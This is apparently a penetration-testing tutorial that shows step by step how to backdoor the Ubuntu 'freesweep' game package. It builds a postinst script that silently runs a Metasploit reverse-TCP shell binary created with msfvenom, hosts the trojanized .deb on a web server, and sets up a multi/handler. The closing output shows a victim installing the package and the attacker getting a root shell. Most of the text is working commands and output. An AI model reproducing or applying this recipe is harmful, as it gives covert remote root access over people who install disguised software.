In order to demonstrate that client side attacks and trojans are not exclusive to the Windows world, we will package a Metasploit payload in with an Ubuntu deb package to give us a shell on Linux. An excellent video was made by Redmeat_uk demonstrating this technique that you can view at http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx
We first need to download the package that we are going to infect and move it to a temporary working directory. In our example, we will use the package ‘freesweep’, a text-based version of Mine Sweeper.
root@kali:~# apt-get --download-only install freesweep Reading package lists... Done Building dependency tree Reading state information... Done ...snip... root@kali:~# mkdir /tmp/evil root@kali:~# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil root@kali:~# cd /tmp/evil/ root@kali:/tmp/evil#
Next, we need to extract the package to a working directory and create a DEBIAN directory to hold our additional added “features”.
root@kali:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work root@kali:/tmp/evil# mkdir work/DEBIAN
In the ‘DEBIAN’ directory, create a file named ‘control’ that contains the following:
root@kali:/tmp/evil/work/DEBIAN# cat control Package: freesweep Version: 0.90-1 Section: Games and Amusement Priority: optional Architecture: i386 Maintainer: Ubuntu MOTU Developers (firstname.lastname@example.org) Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
We also need to create a post-installation script that will execute our binary. In our ‘DEBIAN’, we’ll create a file named ‘postinst’ that contains the following:
root@kali:/tmp/evil/work/DEBIAN# cat postinst #!/bin/sh sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
Now we’ll create our malicious payload. We’ll be creating a reverse shell to connect back to us named ‘freesweep_scores’.
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 -b "\x00" -f elf -o /tmp/evil/work/usr/games/freesweep_scores Found 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 98 (iteration=0) x86/shikata_ga_nai chosen with final size 98 Payload size: 98 bytes Saved as: /tmp/evil/work/usr/games/freesweep_scores
We’ll now make our post-installation script executable and build our new package. The built file will be named ‘work.deb’ so we will want to change that to ‘freesweep.deb’ and copy the package to our web root directory.
root@kali:/tmp/evil/work/DEBIAN# chmod 755 postinst root@kali:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/work dpkg-deb: building package `freesweep' in `/tmp/evil/work.deb'. root@kali:/tmp/evil# mv work.deb freesweep.deb root@kali:/tmp/evil# cp freesweep.deb /var/www/
If it is not already running, we’ll need to start the Apache web server.
root@kali:/tmp/evil# service apache2 start
We will need to set up the Metasploit multi/handler to receive the incoming connection.
root@kali:~# msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; set LHOST 192.168.1.101; set LPORT 443; run; exit -y" PAYLOAD => linux/x86/shell/reverse_tcp LHOST => 192.168.1.101 LPORT => 443 [*] Started reverse handler on 192.168.1.101:443 [*] Starting the payload handler...
On our Ubuntu victim, we have somehow convinced the user to download and install our awesome new game.
ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb
As the victim installs and plays our game, we have received a shell!
[*] Sending stage (36 bytes) [*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.175:1129) ifconfig eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6 inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:49 errors:0 dropped:0 overruns:0 frame:0 TX packets:51 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB) Interrupt:17 Base address:0x1400 ...snip... hostname ubuntu id uid=0(root) gid=0(root) groups=0(root)